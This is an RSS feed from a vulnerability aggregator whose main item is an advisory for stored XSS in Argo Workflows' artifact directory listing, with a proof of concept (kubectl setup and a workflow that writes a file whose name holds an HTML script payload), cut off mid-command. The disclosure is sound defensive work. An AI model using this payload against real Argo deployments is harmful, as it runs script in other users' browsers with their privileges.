<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 24 Oct 2026 09:34:31 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-337473</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-337473</link>
      <description>EUVD-2026-337473</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-337473</guid>
    </item>
    <item>
      <title>fkie_cve-2026-23960</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-23960</link>
      <description>&lt;p&gt;Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-23960</guid>
    </item>
    <item>
      <title>GHSA-cv78-6m8q-ph82 — Argo Workflows affected by stored XSS in the artifact directory listing</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-cv78-6m8q-ph82</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/argoproj/argo-workflows/v3, Go: github.com/argoproj/argo-workflows&lt;/p&gt;
&lt;p&gt;### Summary
Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.&lt;/p&gt;
&lt;p&gt;### Details
The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.&lt;/p&gt;
&lt;p&gt;https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244&lt;/p&gt;
&lt;p&gt;### PoC
1. Deploy Argo Workflows:
```
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
```
2. Port‑forward Argo Server:
```
kubectl -n argo port-forward deploy/argo-server 2746:2746
```
3. Create the PoC workflow:
```yml
cat &amp;gt; /tmp/argo-xss.yaml &amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch &amp;#39;/tmp/artifacts/xss&amp;#34;&amp;gt;&amp;lt;img src=x onerror=&amp;#34;alert(document.domain)&amp;#34;&amp;gt;.html&amp;#39;
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
```
```
kubectl -n argo creat…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/argoproj/argo-workflows/v3, Go: github.com/argoproj/argo-workflows&lt;/p&gt;
&lt;p&gt;### Summary
Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.&lt;/p&gt;
&lt;p&gt;### Details
The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.&lt;/p&gt;
&lt;p&gt;https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244&lt;/p&gt;
&lt;p&gt;### PoC
1. Deploy Argo Workflows:
```
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
```
2. Port‑forward Argo Server:
```
kubectl -n argo port-forward deploy/argo-server 2746:2746
```
3. Create the PoC workflow:
```yml
cat &amp;gt; /tmp/argo-xss.yaml &amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch &amp;#39;/tmp/artifacts/xss&amp;#34;&amp;gt;&amp;lt;img src=x onerror=&amp;#34;alert(document.domain)&amp;#34;&amp;gt;.html&amp;#39;
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
```
```
kubectl -n argo creat…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-cv78-6m8q-ph82</guid>
    </item>
  </channel>
</rss>
